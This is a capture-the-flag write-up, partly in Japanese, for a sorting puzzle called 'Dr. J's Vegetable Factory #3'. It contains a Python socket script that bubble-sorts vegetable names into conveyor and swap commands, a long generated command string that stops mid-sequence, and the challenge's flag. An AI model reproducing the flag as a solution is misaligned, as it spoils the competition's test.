Mushrooms, Escarole, Fava Beans, Fennel, Fiddlehead, Flageolet Beans, Fresno Peppers, Galangal, Garbanzo Beans, Garlic, Gherkin, Ginger, Grape Leaves, Great Northern Beans, Green Asparagus, Green Beans, Green Cabbage, Green Leaf, Green Lentils, Green Onions, Green Peas, Green Split Peas, Greens, Habanero Peppers, Hearts of Palm, Hijiki, Horseradish, Hubbard Squash, Hungarian Peppers, Iceberg, Jalapeno Peppers, Jerusalem Artichoke, Jicama, Kabocha Squash, Kale, Kelp, Kidney Beans, Kohlrabi, Kohlrabi Greens, Kombu, Lacinato, Laver, Leeks, Lemongrass, Lettuce, Lima Beans, Lotus Root, Lotus Seed, Lupini Beans, Maitake Mushrooms, Marrow Beans, Morel Mushrooms, Moth Beans, Mozuku, Mung Beans, Mustard Greens, Napa Cabbage, Navy Beans, New Mexico Peppers, Nopales, Nori, Ogonori, Okra, Olive, Onion, Ornamental, Oyster Mushrooms, Parsley, Parsley Root, Parsnip, Patty Pan, Peas, Pickling Cucumbers, Pigeon Pea, Pimento Peppers, Pink Beans, Pinto Beans, Plantain, Poblano Peppers, Porcini Mushrooms, Portobello Mushrooms, Potato, Pumpkin, Pumpkin Squash, Purple Asparagus, Purslane, Radicchio, Radish, Rapini, Red Beans, Red Cabbage, Red Leaf, Red Lentils, Rice Beans, Rockweed, Romaine, Royal Trumpet Mushrooms, Rutabaga, Savoy Cabbage, Scarlet Runner Beans, Sea Grape, Sea Lettuce, Serrano Peppers, Shallots, Shiitake Mushrooms, Snow Peas, Soybean, Spaghetti Squash, Spanish Tolosana Beans, Spinach, Spirulina, Sport Peppers, Sugar Snap Peas, Sweet Banana Peppers, Sweet Potato, Swiss Chard, Taro, Tepary Beans, Thai Peppers, Tomatillo, Tomato, Truffles Mushrooms, Turban Squash, Turnip, Turnip Greens, Urad, Wakame, Water Chestnut, Water Spinach, Watercress, Wax Beans, White Asparagus, White Button Mushrooms, Winter Melon, Yams, Yellow Lentils, Yellow Split Peas, Yellow Squash, Zucchini, Zucchini Squash
🥬🥕🌽🍆🥦🥒🥑🍄 That's correct!! 🥬🥕🌽🍆🥦🥒🥑🍄
nactf{d0n7_w0rry_p34_h4ppy_f27ae283dd72cb62f685}
nactf{d0n7_w0rry_p34_h4ppy_f27ae283dd72cb62f685}

Dr. J's Vegetable Factory #3 (General Skills 175)

$ nc challenges.ctfd.io 30267
Welcome to Dr. J's Vegetable Factory 🥕™. We serve the chunkiest vegetables on the east coast, or your money back. Which challenge would you like to solve?

Enter 1, 2, 3, 4, or 5.
3

🥬🥕🌽🍆🥦🥒🥑🍄 STAGE 1 🥬🥕🌽🍆🥦🥒🥑🍄
Dr. J needs help sorting the following veggies into alphabetical order:

Maitake Mushrooms, Carrageen Moss, Cassava, Cucumber, New Mexico Peppers, Patty Pan, Watercress, Kohlrabi Greens, Hijiki, Navy Beans, Zucchini, Horseradish, Snow Peas, Collard Greens, Purple Asparagus, Anaheim Peppers, Water Chestnut, Wakame, Hungarian Peppers, Agar Agar, Zucchini Squash, Green Leaf, Spirulina, Shallots, Turnip Greens, Chunky Turnips, Sweet Potato, Adzuki Beans, Burdock Root, Savoy Cabbage, Greens, Lotus Seed, Turban Squash, Eggplant, Endive, Alaria, Pumpkin, Capers, Corn, Serrano Peppers, Chanterelle Mushrooms, Digitata Kelp, Onion, Butter Beans, Sea Lettuce, Urad, Porcini Mushrooms, Chayote, Marrow Beans, Curly, Ginger, Pumpkin Squash, Radicchio, Nopales, Brussels Sprouts, Truffles Mushrooms, Sugar Snap Peas, Calabash, Cherry Peppers, Banana Squash, Kale, Wax Beans, Royal Trumpet Mushrooms, Green Cabbage, Swiss Chard, Garlic, Crimini Mushrooms, Chipotle Peppers, Rockweed, Portobello Mushrooms, Iceberg, Black Beans, Rice Beans, Lacinato, Dulse, Great Northern Beans, Chinese Broccoli, Chana Dal, Scarlet Runner Beans, Purslane, Yellow Lentils, Soybean, Bok Choy, Green Peas, Daikon Radish, Kabocha Squash, Dandelion Greens, Kidney Beans, Belgian Endive, Hearts of Palm, Beet Greens, Lettuce, Habanero Peppers, Arame, Green Asparagus, Boston Butterhead, Delicata Squash, Cannellini Beans, Morel Mushrooms, Romaine, Turnip, Kombu, Laver, Green Onions, Galangal, Yellow Split Peas, Escarole, Fava Beans, Olive, Napa Cabbage, Parsley, Celtuce, Aonori, Red Leaf, Tomato, Kelp, Flageolet Beans, Edamame, Corona Beans, Rapini, Hubbard Squash, Acorn Squash, Green Split Peas, Lotus Root, Peas, Broccoli, Rutabaga, Poblano Peppers, Bell Peppers, Winter Melon, Red Cabbage, Spaghetti Squash, Pimento Peppers, Celery, Nori, Butternut Squash, Taro, Plantain, Celery Root, Potato, Parsnip, Red Lentils, Green Lentils, Sea Grape, Jicama, Shiitake Mushrooms, Kohlrabi, Avocado, Mozuku, Buttercup Squash, Thai Peppers, Jerusalem Artichoke, Chlorella, Fiddlehead, Lima Beans, Cayenne Peppers, Carrot, Oyster Mushrooms, Arugula, Fresno Peppers, Desi, Cubanelle Peppers, Banana Peppers, Lupini Beans, Spanish Tolosana Beans, Bibb Butterhead, Beet, Parsley Root, Yellow Squash, Tepary Beans, Ornamental, White Button Mushrooms, Mustard Greens, Baby Corn, Pinto Beans, Brown Lentils, Anasazi Beans, Water Spinach, Leeks, Amaranth Leaves, Enoki Mushrooms, Tomatillo, Borlotti, Cauliflower, Cushaw Squash, Bell Pepper, Bladderwrack, Bitter Melon, Red Beans, Pickling Cucumbers, Mung Beans, Elephant Garlic, Spinach, Green Beans, Okra, White Asparagus, Ogonori, Jalapeno Peppers, English Cucumber, Bamboo Shoots, Christmas Lima Bean, Yams, Bean Sprouts, Pigeon Pea, Black Eyed Peas, Fennel, Sweet Banana Peppers, Radish, Garbanzo Beans, Gherkin, Artichoke, Grape Leaves, Sport Peppers, Moth Beans, Pink Beans, Lemongrass

Give instructions for Dr. J's Robot to execute. Enter letters separated by spaces to sort Dr. J's vegetables. Entering "c" will activate the conveyor belt and shift all vegetables left one position. Entering "s" will swap the vegetable in position 0 with the vegetable in position 1

これもバブルソートになっているが、指示の仕方が違うので、それに気を付けて、スクリプトを組む。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def bubble_sort(ary):
    ans = ''
    n = len(ary)
    for i in range(n):
        sorted = True
        for j in range(n - i - 1):
            if i != 0 or j != 0:
                ans += 'c '
            if ary[j] > ary[j+1]:
                ary[j], ary[j+1] = ary[j+1], ary[j]
                ans += 's '
                sorted = False
        ans += ('c ' * (i + 1))
    ans += 'c'

    return ans

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenges.ctfd.io', 30267))

data = recvuntil(s, '5.\n').rstrip()
print data
print '3'
s.sendall('3\n')
data = recvuntil(s, '\n').rstrip()
print data

for i in range(1):
    data = recvuntil(s, 'STAGE')
    data += recvuntil(s, '\n').rstrip()
    print data
    if i == 0:
        for _ in range(2):
            data = recvuntil(s, '\n').rstrip()
            print data
    data = recvuntil(s, '\n').rstrip()
    print data
    q = data.split(', ')
    data = recvuntil(s, '\n').rstrip()
    print data
    if i == 0:
        for _ in range(2):
            data = recvuntil(s, '\n').rstrip()
            print data
    ans = bubble_sort(q)
    print ans
    s.sendall(ans + '\n')
    for _ in range(4):
        data = recvuntil(s, '\n').rstrip()
        print data

実行結果は以下の通り。

Welcome to Dr. J's Vegetable Factory 🥕™. We serve the chunkiest vegetables on the east coast, or your money back. Which challenge would you like to solve?

Enter 1, 2, 3, 4, or 5.
3

🥬🥕🌽🍆🥦🥒🥑🍄 STAGE 1 🥬🥕🌽🍆🥦🥒🥑🍄
Dr. J needs help sorting the following veggies into alphabetical order:

Galangal, Ornamental, Spanish Tolosana Beans, Dulse, Buttercup Squash, Wakame, Pickling Cucumbers, Green Asparagus, Pumpkin Squash, Delicata Squash, White Button Mushrooms, Purslane, Water Spinach, Cassava, Pumpkin, Bell Pepper, Chanterelle Mushrooms, Garbanzo Beans, Corn, Mozuku, Mustard Greens, Onion, Acorn Squash, Digitata Kelp, Carrot, Parsnip, Cayenne Peppers, Lotus Root, Yams, Cherry Peppers, Kidney Beans, Truffles Mushrooms, Chana Dal, Savoy Cabbage, Artichoke, Bean Sprouts, Cubanelle Peppers, Olive, Tomato, Tepary Beans, Yellow Lentils, Kombu, Broccoli, Pigeon Pea, Corona Beans, Pimento Peppers, Green Onions, Napa Cabbage, Alaria, Beet Greens, Yellow Split Peas, Enoki Mushrooms, Parsley, Kabocha Squash, Green Beans, Christmas Lima Bean, Turnip, Boston Butterhead, Greens, Baby Corn, Hungarian Peppers, Anasazi Beans, Aonori, Peas, Lupini Beans, Horseradish, Oyster Mushrooms, Jalapeno Peppers, Shallots, Laver, Rutabaga, Kohlrabi Greens, Zucchini Squash, Taro, Nopales, Anaheim Peppers, Okra, Butternut Squash, Green Leaf, Maitake Mushrooms, Potato, Cucumber, Red Lentils, New Mexico Peppers, Spaghetti Squash, English Cucumber, Swiss Chard, Belgian Endive, Rockweed, Poblano Peppers, Arugula, Purple Asparagus, Hearts of Palm, Cannellini Beans, Moth Beans, Brown Lentils, Habanero Peppers, Winter Melon, Edamame, Crimini Mushrooms, Spinach, Bell Peppers, Hijiki, Kelp, Turnip Greens, Ogonori, Red Cabbage, Chayote, Portobello Mushrooms, Hubbard Squash, Lotus Seed, Fiddlehead, Butter Beans, Zucchini, Parsley Root, Navy Beans, Carrageen Moss, Green Peas, Kohlrabi, Beet, Celery, Red Leaf, Wax Beans, Bok Choy, Plantain, Chunky Turnips, Sweet Potato, Avocado, Royal Trumpet Mushrooms, Leeks, Gherkin, Black Beans, Lettuce, Mung Beans, Eggplant, Borlotti, Green Cabbage, Bitter Melon, Banana Peppers, Water Chestnut, Green Lentils, Black Eyed Peas, Flageolet Beans, Brussels Sprouts, Bladderwrack, Bamboo Shoots, Nori, Lima Beans, Collard Greens, Yellow Squash, Celtuce, Radish, Great Northern Beans, Garlic, Fennel, Chinese Broccoli, Kale, Jicama, Curly, Chlorella, Sea Grape, Pink Beans, Endive, Fava Beans, Fresno Peppers, Iceberg, Sport Peppers, Dandelion Greens, Tomatillo, Turban Squash, Desi, Lemongrass, Soybean, Thai Peppers, Marrow Beans, Sea Lettuce, Cauliflower, Urad, Green Split Peas, Romaine, Shiitake Mushrooms, Sugar Snap Peas, Ginger, Porcini Mushrooms, Morel Mushrooms, Red Beans, Burdock Root, Radicchio, Snow Peas, Scarlet Runner Beans, Celery Root, Daikon Radish, Lacinato, Serrano Peppers, Patty Pan, Rapini, Grape Leaves, Elephant Garlic, Pinto Beans, Adzuki Beans, Rice Beans, Agar Agar, Arame, Escarole, Banana Squash, Spirulina, Watercress, Chipotle Peppers, Sweet Banana Peppers, White Asparagus, Cushaw Squash, Amaranth Leaves, Capers, Jerusalem Artichoke, Bibb Butterhead, Calabash

Give instructions for Dr. J's Robot to execute. Enter letters separated by spaces to sort Dr. J's vegetables. Entering "c" will activate the conveyor belt and shift all vegetables left one position. Entering "s" will swap the vegetable in position 0 with the vegetable in position 1

c c s c s c c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c c s c s c c s c s c s c s c c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c c s c s c c c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c c c s c c c s c c s c c c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c c c c c c c c s c c c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c c c c c c c c s c c c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c c c c c c c c s c c c c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c c s c c s c s c s c s c c c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c c c c c c c c s c c c c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c c s c c s c s c s c s c c c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c c c c c c c c c c c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c c s c c s c s c s c s c c c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c c c c c c c c c c c c c s c c s c s c s c s c c c c s c s c s c c s c s c c s c s c c s c c s c s c s c s c c c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c s c s c s c c c c c c c c c c c c c s c c s c s c c s c c c c s c s c s c c s c s c c s c s c c s c c s c s c s c s c c c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c s c s c s c c c c c c c c c c c c c s c c s c s c c s c c c c s c s c s c c s c s c c s c s c c s c c s c s c s c s c c c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c s c s c s c c c c c c c c c c c c c c c s c s c c s c c c c s c s c s c c s c s c c s c s c c s c c s c s c s c s c c c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c c c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c s c s c s c c c c c c c c c c c c c c c s c c c s c c c c s c s c s c c s c c c s c s c c s c c s c s c s c s c c c c s c s c c s c c s c s c s c s c c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c c s c c s c c c s c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c s c s c s c c c c c c c c c c c c c c c s c c c c c c c s c s c s c c s c c c s c s c c s c c s c s c s c c c c c s c s c c s c c s c s c s c s c c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c c s c c s c c c s c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c s c s c s c c s c c c s c c c s c c s c s c s c c c c c s c s c c s c c s c s c s c s c c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c c s c c s c c c s c s c s c s c s c s c s c s c s c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c s c c s c c s c c c s c c c s c c s c s c s c c c c c s c s c c s c c s c s c s c s c c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c c s c c s c c c s c s c s c s c s c s c s c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c s c c s c c s c c c s c c c s c c s c s c s c c c c c s c s c c s c c s c s c s c s c c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c c s c c s c c c s c s c s c s c s c s c s c s c c s c c s c c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c s c c s c c s c c c s c c c s c c s c s c s c c c c c s c s c c s c c s c s c s c s c c s c c s c s c s c c s c s c s c s c s c s c c s c s c s c s c c s c c s c c c s c s c s c s c s c s c s c s c c s c c s c c s c c s c s c s c s c s c s c s c s c c s c s c c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c c s c s c s c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c s c c s c c s c c c s c c c s c c s c s c s c c c c c s c s c c s c c s c s c s c s c c s c c s c s c s c c s c s c s c s c s c s c c s c s c s c s c c s c c s c c c s c s c s c s c s c s c c s c c s c c s c c s c c s c s c s c s c s c s c s c s c c s c s c c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c c s c s c s c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c s c c s c c s c c c s c c c s c c s c s c s c c c c c s c s c c s c c s c c s c s c c s c c s c s c s c c s c s c s c s c s c s c c s c s c s c s c c s c c s c c c s c s c s c s c s c s c c s c c s c c s c c s c c s c s c s c s c s c s c s c s c c s c s c c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c c c s c s c s c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c s c c c c c c c s c c c s c c s c s c s c c c c c c s c c s c c s c c s c s c c s c c s c s c s c c s c s c s c s c s c s c c s c s c c s c c s c c s c c c s c s c s c s c s c s c c s c c s c c s c c s c c s c s c c s c s c s c s c s c c s c s c c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c c c s c s c s c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c s c c c c c c s c c s c c s c c s c s c c s c c s c s c s c c s c s c s c s c s c s c c s c s c c s c c s c c s c c c s c s c s c s c s c s c c s c c s c c s c c s c c s c s c c s c s c s c s c s c c s c s c c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c c c s c s c s c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c s c c c c c c s c c s c c s c c s c s c c s c c s c s c s c c s c s c s c s c s c s c c s c s c c s c c s c c s c c c s c s c s c s c s c s c c s c c s c c s c c s c c s c s c c s c s c s c s c s c c s c s c c s c s c s c c s c c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c c c s c s c s c c s c s c s c c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c s c c s c s c c s c s c s c s c s c s c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c s c c s c s c c c c c c c s c c s c c 